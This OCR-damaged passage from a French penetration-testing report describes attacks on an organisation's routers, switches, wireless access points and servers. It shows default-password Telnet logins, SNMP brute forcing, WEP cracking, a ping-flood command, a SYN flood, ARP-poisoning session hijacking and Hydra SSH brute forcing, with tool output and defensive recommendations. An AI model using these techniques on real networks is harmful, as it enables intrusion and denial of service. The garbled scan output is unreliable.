0% detection performed. Please report any incorrect results at httbp: frmap. org/submit, .
Mmap done: 1 IPF address (1 host up) scanned in 5.Z0 seconds

Figure 0.17 : Résultat NMAP sur XR

L’étape suivante est la découverte des ports accessible a travers 1’outil LanSpy. Cet outil a
dévoilé aussi 1’existante d’une porte dérobée (3127) a but malicieux. Comme le port 23 est
ouvert, j’ai essay¢ Telnet avec le mot de passe par default « cisco » est j’ai pu accéder avec
des priviléges administratifs.

4. LanSpy 2.0 — LanTricks: www.LanTricks.com

File Tools  Help
o 21298 I

@ Time To Live [TTL): 255
=@ TCP ports [2)
=)@ 22 2sh =» Remote Login Protocol
<= 55H-1.99-Cizco-1.25
=@ 23 telnet =x Telnet

=
=@ UDP ports (13)
s 42 Name =r Mame Server
@ B3 domain => Domain Mame Serser
@ B3 bootpe = Bootstrap Protocol Client
2 123MTP = Mebwork Time Protocol
@ 137 netbios-ns => MetBios Name Service
@ 161 SHMP = Simple Metwark, Management Protocal
@ 339 |dap =» Light Directory Access Protocol
@ B00 izakmp =3 lzakmp

Figure 0.18 : Résultat LanSpy sur XR

Résultat : Routeur compromis, priviléges acquis pour changer les configurations du systéme

- DTC:
Ce commutateur comprend deux ports TCP ouverts : 23 (Telnet) et 80 (HTTP). J ai
essay¢ d’abord de connaitre le SE par I’outil NMAP sur un des ports ouverts 23 et j’ai obtenu

ainsi la version du SE.
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Mmap Cubput | Ports | Hosts | Topology | Host Details | Scans
\Inmap -p 23 -0 -n 192,168, R Dretails

Starting Mmap 5.Z21 { http://nmap.org ) at 2010-05-11 17:32 GTE Standard Time

Nwap scan report for 19%2.168.

Host is up (0.034s latency).

PORT STATE SERVICE

23ftcp open telnet

Warning: 055can results may be unreliable because we cowld not find at least 1 open and 1 closed port

Device type: switch|router|broadband router |WAP|specialized|VoIP adapter

Punning (JUST GUESSING) : Cisco I0S 1Z.X|L11.X (28%), Cisco CatlS (22%), Cisco embedded (32%)

R ive 05 : Cisco Catalyst &500-series switch (IO0S 12_.1) (38%), Cisco Z900-series, 3650, or 3750 switch:
6502 or TEZ06WKE router; or WBRPZE or wuBR7111l cable modewm (I0S 1l2.1 - 12.2) {(27%), Cisco Adronet 350 or 1200 WAP (27%),
Cisco Catalyst 2250 switch (I0% 12.1) (926%), Cisco Catalyst 2960 switch (I0% 12.Z) (96%), Cisco Catalyst 2360, 3550, or
3560 switch (I0E 1z.2) (96%), Cisceo 805, L1712, 1721, or 2600 router (I0S 1Z2.Z2 - 1Z.3) (24%), Cisco 1131AGC WAP (IOS
1Z.32) 94%), Cisco Airomet 1Z00 WAP (I0OS 1Z_3) (94%), Cisco Airomet 1230 or 1Z40-series WAP (I0Z 12.3) (34%)

Ho exact 08 matches for host (test conditions non-ideal).

Netvork Distance: 2 hops

0% detection performed. Please report any incorrect results at http: //hnap.orgfsubnits .
Mmap done: 1 IF address (1 host up) scanned in 4.47 seconds

Figure 0.19 : Résultat NMAP sur DTC

Le but est d’accéder au fichier de configuration. Comme le port 23 est ouvert, j’ai essayé
Telnet avec le mot de passe par default « cisco» est j’ai pu accéder avec des priviléges

administratifs !

Résultat : Commutateur compromis, priviléges acquis pour changer les configurations du

systeme

- HOC:
Ce commutateur comprend deux ports TCP ouverts : 23 (Telnet) et 1720 (H323.
Hostcall). J’ai essay¢ d’abord de connaitre le SE par I’outil NMAP sur un des ports ouverts 23

et j’ai obtenu ainsi sa version.

Mmap Output | Ports | Hosts | Topology | Host Details | Scans

|nmap -p 80 -0 -n 192,166 e

Starting Nmap 5.Z1 ( http://mmap.org ) at 2010-05-11 17:25 GTB Standard Time

HNmap scan report for 192 168 8

Host is up (0.00s latency).

PORT STRATE SERVICE

80/tcp open http

Warning: 055can results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: router|switchl|broadband router

Bunning: Cisco I0S 12X
05 details: Cisco Z900-series, 3650, or 3750 switch; 6509 or 7E0EVHE router; or uBR9ES or uBR7111 cable modem (IOS 1Z2.1

- lz.2)
NHetwork Distance: £ hops

08 detection performed. Please report any incorrect results at http: //hmap. org/submit/ .
Mmap done: 1 TP address (1 host up) scanned in Z.13 seconds
T

Figure 0.20 : Résultat NMAP sur HOC

Le but est d’avoir le mot de passe afin d’accéder au fichier de configuration. J’ai essayé

Telnet avec le mot de passe par default « cisco » mais je n’ai pas pu accéder.
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Arrivant a ce point il existe deux options pour pouvoir pénétrer ce routeur :

o HTTP : Pour manipuler I’adresse URL
Jai essayé d’abord 1’acces a travers ’'URL regulier sur le port 80 Attp://192.168.X.X

mais j’ai eu le message d’identification dont je n’ai pas le nom ou mot de passe. J’ai
alors manipulé I’adresse URL comme suit :

http://192.168.X.X/level/99/exec/show/config

Mais aussi le message d’identification apparu. Donc cette méthode est bien sécurisée
o SNMP : Pour gérer le dispositif

Pour ouvrir une connexion SNMP avec le routeur il faut savoir les CS ou CS existants,
ils sont de deux type : Lire (Read Only), Lire/Ecrire (Read/Write). L’exécution de
I’outil SNMP Brute Force Attack dévoile un CS « dataXXX » avec acces Lire.
L’utilisation ensuite de I’outil /P Network Browser avec ce CS apergoit une partie du

fichier de configuration. Aucun CS avec acces Lire/Ecrire a été découvert.

IP. Network Browser [ 192.168.8 & |
File Edit Modes MIBs Discovery Subnet Wiew Help

B © b 3 88 % O 9) WP @ e & 9

Mew  Restart | Export  Prink Copy  Copy Stop T Fing  Telnet Trace Config  Surf Settings Help
== 192 168 » : Switch b
4k cisco

&, community String: date
= System MIE
V] Systen Neme: Switch_
i Description: Cisco I0S Software, CZ960 Software (CZ960-LANBASE-M), Versiom 12.Z(2E)%EEZ, REL
€ conctace:
alb Location:
J] sysObjectID: 1.3.6.1.4.1.9.1.717
{E] 1ast Boot: 3/13/2010 3:31:23 AM
@ Bouter (will forward IP packets 7} : No
= Interiaces
5z interfaces
@ 1 Vlanl
%4 001 FascEthernec0/l Router port
=4 002 FastEthernet0/2
T[] ethernetCsmacd
Il mTU- 1500
4% Speed: 100 Mbps
@ Rdmin Status: enabled
@ Operational Status: up
Last change : §/12/Z010 8:21:49 AN : up
=% Performance Smapshor : 51272010 10:01:48 AM
*% Imput : 0 bits/fsec
‘= Imput : 0 pktsfsac
! Output - 1000 bits/sec
=" Output : 3 pkts/sec
+ -4 003 FastEthernet0/3
+ 4@ 004 FastEthernet0/4

Figure 0.21 : Résultat IP Network Browser sur HOC

Résultat : Commutateur non compromis

- DTW:
Dans la branche DT, il existe un point d’accés sans fil installé pour les clients du
restaurant. J’ai essayé de me connecter, aucun mot de passe ou clé WEP est demandée et j’ai

obtenu une adresse IP de la rangée des adresses de cette branche.
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Network Connection Details @@|

Metwark Connection Details:

Property Walle

Phypszical Address 00-60-52-04-41-78

IP Address 192,163

Subnet Mazk 280,255 2550

Default Gateway 132168,

DHCP Server 192168,

Leaze Obtained 51342010 5: 3257 PM
Leaze Expires BA142010 53267 P
DMS Server 132168,

WIMS Server

Figure 0.22 : Configuration automatique obtenu du point d’accés DTW

A ce point j’ai essay¢ d’accéder aux principaux équipements de cet endroit, mais je n’ai pu
faire aucun contact avec I’une des adresses IP dans la rangée trouvée. J’ai essayé ensuite
d’accéder au point d’acces a travers 1’interface HTTP, mais les identifiants par default n’ont

pas marché.

Résultat : Point d’acceés non compromis

- WHW:
Il existe dans cette branche un point d’acces pour les utilisateurs mobiles. Il comprend

une cl¢ WEP dont j’ai compromis avec 1’outil Aircrack-ng.

Alrcrack-ng 1.0 rcl rloss

KEY FOUND!- [ h !

crypted correctly: 10

Figure 0.23 : WHW clé compromise

Une fois connectée j’ai obtenue une adresse appartenant au réseau et pu communiquer avec
les périphériques. J’ai essayé ensuite d’accéder au point d’acces a travers 1’interface HTTP,

mais les identifiants par default sont incorrectes.

Résultat : Acces au réseau réussi, mais point d’acceés non compromis
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- HOW:
Dans la branche principale HO, il existe un point d’accés sécurisé, 1’outil Aircrack-ng
n’a pas réussi de compromettre la cl¢é WEP, apparemment c’est une clé sur 128 bits et

compliquée.

Résultat : Point d’acceés non compromis

- XF:
XF représente le pare-feu externe de I’organisation, séparant le réseau internet du
réseau interne de 1’organisation. L’outil NMAP dévoile le port tcp 22 ouvert. L’essai

d’accéder ce pare-feu par les protocoles FTP, HTTP et SNMP n’a pas réussi.

Les mémes tests ont été effectués a partir du réseau interne et aucune communication avec le

pare-feu n’a réussie.

Scan  Tools  Profile  Help

Target: | 212,98, w | Prefiler | Interse scan |

Command: | rmap -T4 -A -v -PE -PS22,25,80 -PA21,23,80,3389 212,98,

Mmap Output ;E'ortsriiHostsr Topology | Host Details | Scans

bl |mmap T4 -4 v -PE -PS22,25,80 -PAZ1,23,50,3389 212,98, v Det.
L] rey-212-99-131-194,  NSE: Script scarming 212.98. 0 ‘
NSE: Starting runlevel 1 {of 1) scan.

Initiating NSE at 15:31

Completed NSE at 15:31, 2.39s5 elapsed

NSE: Script Scanning completed.
| Nnap scan report for rev-212-9%- terra.net.lb (212 98.
| Host is up (0.067s latency).

Not chown: 599 filtered ports

PORT STATE SERVICE YERSION

22ftcp open  ssh Cisco SSH 1.25 (protocol 1.5)

|_sshvl: Server supports SSHwl

|_ssh-hostkey: 10Z4 b3:2f:8e:34:%4:db:5c:b7:58:47:10:ae:61:65:32:c7 (RSAL)

Warning: 0%Scan results may be unreliable becauss we could not find at least 1 open and 1 closed port

Device type: firewall|broadband router|general purpose|switch|media device

Burming (JUST CUESESINC) : Cisco PIX 05 &.X (873%), Netopia embedded (27%), Minix 23.X (287%), Cisco CatDS 7.X|2.X (25%),
Philips Linux 2.1.¥ (85%), Sony Limux 2.1.X (85%)

Rggressive 05 quesses: Cisco PIX firewall (PIX 08 6.3(5)) (37%), Netopia 2247 ADSL router (37%), Minix 3.1.Za (87%),
Cisco Catalyst 4002, 4006, or 6509 switch (Cat0f 7.6(L7) - .4(3)) (864}, TiVo series 1 (Somy SVR-2000 or Philips

| HDR112) (Linux £.1.24-TiVo-Z.5, PowerPC) (85%)

| Mo exact 0F matches for host (test conditions non-ideal).
Network Distance: & hops
TCP Sequence Prediction: Difficulty=253 (Bood luck!)
IP ID S e G tion: Incremental

| Service Info: 05: I0%

TRACEROUTE {using port 22/tcp)
| HOP RIT ADDRESS
1 0.00 ms 192.168.111.1

2 47_00 ms ds1-213-2Z04-70-1 _terra net_lb (213 204_70.1)

2 47.00 ms 172.20.1.10

4 47.00 ms l.gi-0-3.core-Z.terra.net.lb (212.98.136.17)

£ 21.00 ms gi-0-1l.core-l.terra.net.lb (212.98.136_33)

L] 47.00 wms 505. fa-0-0.solidere.terra.net.lb (212_9%.155.246)
7 47.00 ms ¥

=l 47.00 ms rev-ZlZ-98 terra.net.lb (21298, ¥

Bead data fileg from: C:%Program FilesiHmap
05 and Service detection performed. Please report any incorrect results at http: //nmap.orgs/submit/ .
> | Mmap done: 1 IP address (1 host up) scarmed in 117.4Z seconds

T — Raw packets sent: Z12ZZ (36.364KE) | Rcwd: 50 (Z760B)

Figure 0.24 : Résultat NM AP sur XF

Résultat : Pare-Feu non compromis
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- Attaque sur les modems : War dialing
La premicre étape de I’attaque sur les modems consiste a découvrir le numéro de
téléphone 1i¢ au modem. L’outil ToneLoc effectue un balayage sur une liste de numéro et

dévoile ceux qui sont connectés au modem.

Command Prompt

Statistics
15:26:53 Bs B
15:28:19 8A8./35
i
44 A:88
Found

Haoam

ToneLoc vi. 18 (Sep 29 1794> by Minor Threat & Muche Maas
G DOCUME™1 suser~Desktopitest prognt11168>

Figure 0.25 : Résultat ToneLoc sur le modem

La connexion de I’outil Ayper terminal avec le modem utilisant le numéro découvert a réussi.
Mais aucun transfert de données n’est passé d’un coté a 1’autre. Une autre connexion directe

pour accéder au réseau n’a pas réussi car il faut avoir les identificateurs corrects.

Résultats de pénétration des périphériques du réseau:

Les tests conduits dévoilent plusieurs risques et vulnérabilités menacant les ressources
pertinentes de 1’organisation. Néanmoins on ne peut négliger les mesures de sécurité actuelles
qui ¢éliminent une partie majeure des risques possibles. Le tableau et le schéma ci-dessous

récapitulent les résultats de ces tests :
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15 (0)2%

HOC

HOW

DTR

DTC

DTW

SSR

WHW

XR

XF

Table 0-V : Résultats des tests sur les périphériques du réseau

- Date du test Vulnérabilités / Etat Risques / Impact Résultat

8/5/2010

11-12/5/2010

19/5/2010

8/5/2010

8/5/2010

13/5/2010

6/5/2010

18/5/2010

10/5/2010

2/6/2010

Ports TCP accessibles

Mots de passe par default

Ports TCP accessibles

Acceés HTTP et SNMP sécurisé
Diffusion de signal permis

Clé WEP complexe sur 128bits
Ports TCP accessibles

Acceés HTTP et SNMP sécurisé
Ports TCP accessibles

Mots de passe par default
Diffusion de signal permis

Pas de clé WEP

Attribution d’adresse IP (hors
rangée privée)

Ports TCP accessibles

Mots de passe par default
Diffusion de signal permis

Clé WEP non complexe

Ports TCP accessibles

Mots de passe par default

Un seul port 22 ouvert mais non
accessible

Etat Critique
Accessibilité facile

Etat acceptable
Accés au réseau interne

Etat acceptable

Etat Critique
Accessibilité facile

Accés au réseau interne

Etat Critique
Accessibilité facile
Acceés au réseau interne
effectué

Acces critique majeur de
I’internet vers 1’intérieur
Acces critique majeur de
I’internet vers I’intérieur

compromis

Non
compromis
Non
compromis
Non
compromis

compromis

Non
compromis

compromis

Non
compromis

compromis

Non
compromis

Figure 0.26 : Résultats schématisé des tests sur les périphériques du réseau
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b.3 Surcharge et blocage des ressources

Pour tester la rigidité des périphériques il faut les attaquer suivant plusieurs stratégies
et outils afin de surcharger et désactiver leurs services et par suite bloquer 1’accés aux
ressources pertinents. Les attaques suivantes ont été effectuées dans un environnement
prototype de test similaire a I’environnement réel de I’organisation, comprenant un serveur de
base de données, un ordinateur client, un routeur ayant la méme configuration de SSR et enfin

un portable étranger a partir duquel j’effectue les attaques.

Serveur typique
192.168.112.223

Utilisateur sur poste client
192.168.112.224

Portable attagqueur
192.168.112.225

Routeur
192.168.112.2

Figure 0.27 : Environnement test des attaques

- Denis de Service (DoS) :

Cette attaque vise a rendre un ordinateur, notamment un serveur, hors service en
surchargeant ses ressources par un trafic inutile. Le but d’une telle attaque n’est pas de voler
ou manipuler les données, mais de nuire au fonctionnement de I’entreprise victime et par suite
offenser sa réputation dans le marché. L’ attaque n’est pas compliquée, elle consiste a envoyer
des paquets IP afin de provoquer une saturation ou un état instable des machines victimes, elle

est valable sur différents SE car elle exploite les failles liées au protocole TCP.

L’attaque par dénis de service fonctionne suivant plusieurs fagons :

o Inondation du réseau empéchant I’acces légitime du trafic sur le réseau
o Perturber la connexion entre deux machines empéchant I’acces aux services
o Empéche une personne particuliére d’accéder a un certain service

o Perturber le service d’un systéme
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Il existe deux types de dénis de service, la premiére par saturation, consiste a submerger une
machine de requétes afin qu’elle ne soit plus capable de répondre aux requétes réelles, et la
deuxiéme une variante de ’attaque par plusieurs dénis de service en paralleles appelée Denis

de Service Distribué (DDoS) schématisée ci-dessous :

-
Attacker Q

Figure 0.28 : Dénis de service distribué
Référence : http://nsl.cs.columbia.edu/projects/sos/

o Inondation par Ping (Ping flood)

C’est une attaque par saturation, elle consiste a utiliser la commande ping standard
pour envoyer des paquets volumineux de type Internet Controle Message Protocol (ICMP).
Cette action peut provoquer le blocage ou le plantage des systemes qui sont incapables de

gérer de telles anomalies.

ICMP Ping
Echo Request
>
-
Echo Reply
Source Destination

Figure 0.29 : Commande ping normale
Référence : http://swordfish.wordpress.com/2006/03/16/denial-of-service-attacks-dos

Application
La mise en pratique de cette attaque est effectuée par la commande suivant a partir du

portable : Ping 192.168.112.223 —t -1 65500
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Durant une heure et demi cette attaque a causé d’abord le ralentissement du réseau et enfin le
blocage des ressources du serveur. Les images qui suivent montrent 1’état de la carte réseau

du serveur dans un intervalle de 30 min.

=101 x]

File= Options  Wiew Help

applications ’ Processes I Performance

~Local Area Connection

Adapter Mame i Mebwork Ukiliza. .. i Link 3p... | Skate !
Local Area Con... 659 100 Mbps Cperakional
El-i‘-rocesses: a2 [P Lsage: 0% |Commit Charge: 254m | 4459M 4

Figure 0.30 : Etat de la carte réseau apres 30 min (65%chargé)

-l x]

File Options  Wiew Help

Applications i Processes I Performance

~Local Area Connection

Adapter Mame | Metwork Ukiliza, .. | Link 3p... _| Stake i
Lacal Area Con... 29 % 100 Mbps Operational
[Processes: 30 |CPU Usage: 19% |Commit Charge: 232M [ 4459

Figure 0.31 : Etat de la carte réseau apres 60 min (85% chargé)
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i i x)

File Options  Wiew Help

Applications I Processes I Performance

—Local Area Connection

100 % |
|

Adapter Mame i Mebwork, Utiliza. ., i Link 5p... I State l
Local Area Con... 90 % 100 Mbps Operational
[Processes: an |cPU LIsage: 189 [commit Charge: 234m [ 4459M 2

Figure 0.32 : Etat de la carte réseau apres 90 min (>100% chargé)

o Inondation par SYN (SYN Flood)

Cette attaque consiste a envoyer plusieurs demandes de connexions TCP afin de capter
les ressources d’un serveur. Elle exploite le mécanisme de poignée de main en trois (three-
ways handshake) du protocole TCP utilisé pour initialiser une connexion fiable a I’Internet
selon trois étapes SYN — ACK/SYN — ACK. L’attaque SYN consiste & envoyer un grand
nombre de requétes SYN avec une adresse IP source invalide sans le message ACK laissant
ainsi la connexion semi-ouverte, ce qui cause une latence et consommation excessives des

ressources du serveur. _—

SYN-ACK

wepp)
g '&‘ = Q? SYN

|

W/

4

Bi. B

Figure 0.33 : Demande de Figure 0.34 : Attaque SYN
connexion normale

Référence : http://fr.wikipedia.org/wiki/SYN flood
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Application
Afin d’effectuer I’attaque SYN j’ai utilisé¢ 1’outil Sprut qui envoi a la victime des

milliers de requétes SYN sans établir une connexion.

Sprut
Threads:
!20 Rezet
Status: |dle
Connected: a0 Peak: | 0
Connect; Ma errar
Disconnect: Mo errar
Multizpztem TCP Denial of Service Attacker [Build #12]
Coded by v arix [parixizitut by hittp: A yaris by rud

Figure 0.35 : Interface de I’outil Sprut

Le serveur ouvre des milliers de sessions et envoi des réponses SYN-ACK et reste en attente

de réponses ACK ce qui rend ses ressources inaccessibles.

e Rl Bl e

L

2l

] w1 G

] w1 G0

Figure 0.36 : Connexions ouvertes avec le serveur
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o Vol de session (Hijacking)

Cette technique consiste a intercepter une session TCP initiée entre deux machines

afin de la détourner. Le pirate contourne le processus d’authentification de la session et
dialogue avec le serveur au lieu de la victime qui sera mis hors service par une attaque de
dénis de service par exemple. Il se peut que le pirate seulement écoute et enregistre le trafic
afin de recueillir des informations sensibles comme les mots de passe.
Pour établir une connexion entre deux machines, les échanges se font a 1’aide de numéro de
séquence, une machine accepte un segment lorsque le numéro de séquence de ce dernier est
¢gal au numéro d’acquittement du dernier segment recu. Ainsi si le pirate envoi au serveur un
paquet semblant venir du client avec les numéros de séquence et d'acquittement corrects, ainsi
le serveur mettra son numéro d'acquittement a jour et les données venant de ce client ne seront
plus jamais acceptées. Lorsque le pirate termine son attaque, il pourra penser a resynchroniser
la session TCP entre le client et le serveur.

SYN
Seq.:4000

SYN/ACK

—
—

Seq:7000, Ack: 4001 J

ACK i; ‘\/

Seq: 4002Ack 17001

Figure 0.37 : Authentification TCP normale
Référence : CEH v5 Module 10 Session Hijacking

Source: 10.1.0.100
Destination: 10.1.0.200
Seq#: 1429775000
Ack#: 1250510000

. (D]
So ==
urce: 10.1.0.200

Destination: 10.1.0.100
[A Seg#: 1250510000

-._____?:— Ack#: 1429775024

el

Computer A

Computer B

Source: 10.1.0.100
Destination: 10.1.0.200

Seq#: 1429775024
Ack#: 1250510167

Hacker

Figure 0.38 : Authentification interceptée par le pirate
Référence : CEH v5 Module 10 Session Hijacking
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Parmi les types de vol de session citons : attaque par rejeu, usurpation d’adresse IP, vol de

session TCP ou UDP et I’homme au milieu.

Application

J’ai utilisé ’outil Cain and Abel qui emploie la technique de 1’attaque de I’homme au
milieu ou Man In the Middle (MITM), dans ce scenario on écoute la communication entre les
deux interlocuteurs et falsifie les échanges afin de se faire passer pour I’une des parties.
La premicre étape consiste a choisir la source et le destinataire desquels il faut voler la
session, dans ce cas j’ai choisi le serveur et le routeur, ensuite il faut empoisonner le trafic par
des requétes Address Resolution Protocol (ARP) en manipulant les numéros de séquence
SYN et ACK afin d’intercepter la session passante.

_

File View Configure Tools Help

aeokmm | +y B imEEsOER 07 1

&, Decoders IQ Metwork Iﬂﬁ Sniffer |@_<‘f Cracker |@ Traceroute um cCou I[‘ﬁ’] Wireless |%) Query ]

W Skatus ] IP address | MAC address l Packets - | <- Packets | MAC address 1 IP address
AR Cert ;ﬁ,Poisoning 192.168.112.2 O00SSEZESCES 294 199 O060S20AR17E 192,168, 112,223
2 APR-DNS

Bl APR-SSH-1 (D)
&) APR-HTTRS (0}
T8 ApR-ROP (0)

S APR-FTRS (0)
5y APR-POR3S (0)
5y APR-TMAPS ()
5 APR-LDAPS (0)

é APR-SIPS (0} Stakus 1P address | MAC address Packets -» | =- Packets | MAC address IP address
> Half-routing 192,168,112,.223 00605204175 73 ] O0NSSEZESCES 192,168
> Half-routing 192,168,112.223  0060S20AA175 59 ] O00SSEZESCES 192,168

Figure 0.39 : Empoisonnement de la session TCP

Une fois I’interception est effectuée, on arréte I’empoisonnement et on obtient ainsi les
données passantes durant la session. Dans ce cas les données obtenues sont une ouverture de
session et communication avec le routeur. Le mot de passe et toute la configuration du routeur

sont compromis.
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Tools  Help
+ v R RIEDEEO®E O 7 i
& Decoders I§ etwork I@ SrifFer I@/-’ Cracker ]@ Traceroute Im CCou II(E[’] Wireless I%) Query |

% Passwords Started ! Closed 1 Telnet server ! Client 1 Status ' File
; % FTP (0} 18062010 - 17:40:04 18/06/2010 - 17:42:11 192,168.112.2 192.168.112,223  Closed Telnet-2010615 14404437,
i HTTP {0}
; IMAP (0)

i ;%‘;PS((E:; I Telnet-201061814404437-1196.1xt - Notepad
E..srlE SME (1) File Edit Format Yiew Help
B Telnet (1) = — — == cCain's Telnet sniffer generated file =====
i WMC (0} e .

% DS (0) user access verification

) THS (0) Password: jyaylnylid oy ByimyByin ANST Y
51 sMTP () Ty ULy Ly LIy Ly ¥
1 MNTP (00 . -~ - ConEeenn
DCE/RPC (0) 2 s

55 M3KerbS-Prefuth (03 3 MU
8 Radius-Keys (0) - “foodsshh o rruun mo15566334400 mom mottescc
& Radivs-Users (0)
(B3 el (i) ’
Og KE-PSKD 0 [(fTT T T T T sSHOwWseEs il ssssssssssss o
~ip MySQL (o) Cisco Internetwork Operating System Software

= sump oy 105 Ctm) C1700 software (C1700-sSv3v-M), version 12.1¢5)T9, RELEASE SOFTwARE (fcll
@@ SIP (D) TAC Support: http: Swww. cisco. com/ftac
<> GREJPPR (0} Copyright (<) 1986-2001 by <isco Systems, Inc.
i < Compiled Sun 24-Jun-01 15:26 by cmong
; PRRoE (0) Image text-base: O0xBO00BOED, data-base: OxB0A2BBF4

Figure 0.40 : Résultat de vol de session

Les trois attaques exécutées ont réussi de bloquer les matériels et interdire 1’accés aux

ressources.

c. Résultats

L’acces au niveau de la couche réseau a réussi plus ou moins dans chaque phase de
I’attaque. L’exploitation a ce niveau forme une menace cruciale par rapport aux ressources

physiques et intellectuelles de 1’organisation.

Table 0-VI : Résultats des tests de la couche Internet
Date des
tests

Vulnérabilités / Etat Risques / Impact Résultat

Plusieurs ports ouverts

A ibilité ible Parfoi
19/4/2010  Postes clients plus e

Balayage et analyse

du réseau ] sur plusieurs niveaux  compromis
vulnérables que serveurs
Pénétration des Accessibilité possible
. Mots de passe par default ) 3 Plutot
périphériques du 6/5/2010 .. sur plusieurs ;
' Configuration initiale . compromis
réseau périphériques
Surcharge et . o, .
- Plusieurs ports ouverts Accessibilité Parfois
blocage des 8/6/2010 . .
facilitent les attaques complexe compromis

ressources
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d. Recommandations

Les périphériques du réseau constituent les fondements de la couche internet, leurs
roles est critiques et primordial. Ils joignent tous les postes et périphériques dans chaque
branche et toutes les branches entre elles et avec le réseau externe. La pénétration d’un d’eux

menaces 1’organisation entiére.

Tous les types d'attaques constituent une grave menace et doivent étre évités par des mesures
de sécurisation afin d’atteindre un niveau de protection idéal. La démarche a suivre comprend

les taches suivantes :

- Utiliser une authentification et un cryptage puissants chaque fois que cela
est possible

- Ne pas étendre les relations d'approbation au-dela du pare-feu

- Maintenir les systémes a jour avec les derniers correctifs de sécurité.

- Bloquer les paquets ping volumineux au niveau des commutateurs, des routeurs et du
pare-feu

- Appliquer des filtres anti-usurpation sur le routeur, ce qui revient a bloquer les paquets
entrants dont I'adresse source est identique a une adresse du réseau interne.

- Désactiver les ports et protocoles inutiles et services non utilisés sur les routeurs,
commutateurs et pare-feu.

- Appliquer un filtrage approprié¢ au niveau du routeur et du pare-feu.

- Utiliser le systéme de détection d’intrusion (IDS) pour détecter le trafic inhabituel et
générer une alerte en cas de détection.

- Réduire la puissance de transmission des points d’acces et utiliser des clés WEP de
128 ou 192 bits.

- Changer les configurations initiales, identificateurs et banniéres par default

- Désactiver le protocole SNMP pour empécher le balayage et analyses des postes.

- Utiliser le service de sécurisation des ports dans les commutateurs pour éviter

I’usurpation des requétes ARP
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3.2.6.3 Couche Transport

La Couche transport permet le transfert des données et controle I'état de la
transmission. Elle gére 2 protocoles de transport des informations, indépendamment du type

de réseau utilisé :

- Le protocole TCP fonctionne en mode connecté et assure un service fiable.
- Le protocole UDP assure un service de datagramme en mode non connecté sans

aucune garantie de fiabilité.

Durant les tests de la couche Internet, plusieurs outils ont dévoilés les ports TCP et UDP
ouverts qui m’ont aidé d’effectuer les attaques et pénétrer les périphériques. Mais dans cette
partie, la concentration sera sur les types des ports ouverts, les services accessibles et les
protocoles disponibles. Avant de commencer les tests, il faut prendre note des ports cibles qui

peuvent étre ouverts et accessibles dans la plus part des matériels connectés au réseau.

Table 0-VII : Ports TCP et UDP communs
TCP UDP

Routeurs 21 (FTP) 0 (tcpmux)
23 (telnet) 49 (domain)
79 (finger) 67 (bootps)
80 (HTTP) 69 (TFTP)
512 (exec) 123 (ntp)
513 (login) 161 (SNMP)
514 (shell)

Commutateurs JPENEEGED) 0 (tcpmux)
7161 123 (ntp)
161 (SNMP)

Le balayage des ports effectué¢ dans quelques branches montre 1’accessibilité des ports cibles
et leur taux qui est proportionnellement ¢levé dans les branches principales HO et DT par

rapport au nombre total d’adresses IP existantes.
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Table 0-VIII : Résultat du balayage des ports ouverts

Nbre TCP UD _

Total Toul

A N R R R m- uD?
16 47 0 127
22 0 0 2 1 0 0 86 0 1 11 12 122 208
m o o 1 1 0 0 25 0 0 0 0 0 25
0o o 1 1 0 0 0 3l 0 0 0 0 0 3l
7 1 1 5 3 1 64 662 2 20 45 38 683 1345
Bl w04 1 10 7 [ 9 2 22 391 1 21 54 66 1332 1723

Figure 0.41 : Pourcentage des adresses IP Figure 0.42 : Pourcentage des ports
par branche accessibles par branche

100%
90%
80%
70%
60%
50%
40%
30%
20%
10%

0%

E UDP
HTCP

WH SS ™M ABCA DT HO

Figure 0.43 : Rapport entre le pourcentage des ports TCP et UDP accessible
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Figure 0.44 : Répartition totale des ports cibles accessibles

a. Objectifs

On remarque que le protocole TCP forme la majorité des ports et services cibles
ouverts dans les branches, notamment le port 80 du service HTTP qui forme 65% des ports
TCP cibles et 7% du nombre total de ports TCP ouverts. Les attaques vont étre exécutées sur

les ports cibles, non visés dans 1’é¢tude des couches restantes du protocole TCP, selon leurs

disponibilités dans les branches étudiées.
b. Détails d’évaluation

b.1 TCP Port 21 FTP

L’ouverture d’une session FTP avec les adresses IP trouvées dans les branches HO et
DT a réussi sans besoin d’identificateurs. Mais les machines accédés sont des imprimantes ne

contenant aucune information nécessaire.
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C:\WINDOWS\system32\cmd.exe

220 NS-30G Uer 1.4.82 FTP server.
Uzer (192_168. (nonel)>:
331 Password required.

» Logged in.

command Ok.
data connection.

connectlun cluded

tp> open 192 .168.
168,
FIP ¢e1u51 ready.
t{nonel>:

nohbody 1978 1pi

nohbody 1978 1p2

nobody 1978 1p3
il — u——u——u— nohbody 1978 1p4
226 HSCII Tlan¢f31 complete

Figure 0.45 : Accés FTP dans HO et DT

b.2 TCP port 22 SSH

L’ouverture d’une session avec les adresses IP trouvées dans les branches HO et DT
en utilisant I’outil PuTTY n’a pas réussie. Il faut avoir les identificateurs correctes et 1’essai
des identificateurs communs ou par default n’a pas réussi.

= : BEE

PuTTY Fatal Error

Server sent disconnect message
type 2 (S5H_DISCONMECT_PROTOCOL_ERRORY:
"Too many authentication Failures For Admin”

Figure 0.46 : Accés SSH dans HO

Afin de deviner les identificateurs corrects j’ai effectué une attaque par force brute en utilisant
I’outil Hydra sur la plateforme linux. Comme le montre le schéma ci-dessous I’essai de 5000
combinaisons d’identificateurs n’a pas abouti a la bonne combinaison ce qui implique un

niveau de complexité élevé pour les identificateurs.
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HydraGTK

@ quit
Target | Passwords | Tuning | Specific | Start

[P TLME ] laigeL 202 50, oL TS0 Ei0T © Pa5s @ioe] - L L - 57 01 9705
\[ATTEMPT] target 212.98. - login "Administrator" morphous" - child 0 - 36 of 5789
[ATTEMPT] target 212 .98, login "Administrato pass "amy" - child 3 - 39 of 5789
[ATTEMPT] target 212 98 - login "Administrato child 2 - 40 of 5789
[ATTEMPT] target 212 98 login "Administrator" - child 4 - 41 of 5789
[ATTEMPT] target 212.98 login "Administrator” - pass "andrea" - child 1 - 42 of 5789
[ATTEMPT] target 212.98, login "Administrator” - pass "andromache” - child 0 - 43 of 5789
\[ATTEMPT] target 21298 login "Adrministrator - pass "andy" - child 3 - 44 of 5789
[ATTEMPT] target 212 98 - login "Administrator” - pass "angela" - child 2 - 45 of 5789
([[ATTEMPT] target 212.98. login "Administrator” - pass "angerine” - child 4 - 46 of 5789
[ATTEMPT] target 212.98. login "Administrator” - pass "angie" - child 1 - 47 of 5789
[ATTEMPT] target 212.98 - login "Administrator” - pass "animals" - child 0 - 45 of 5789
[ATTEMPT] target 212.98 login "Administrator - pass "anita” - child 3- 49 of 5789
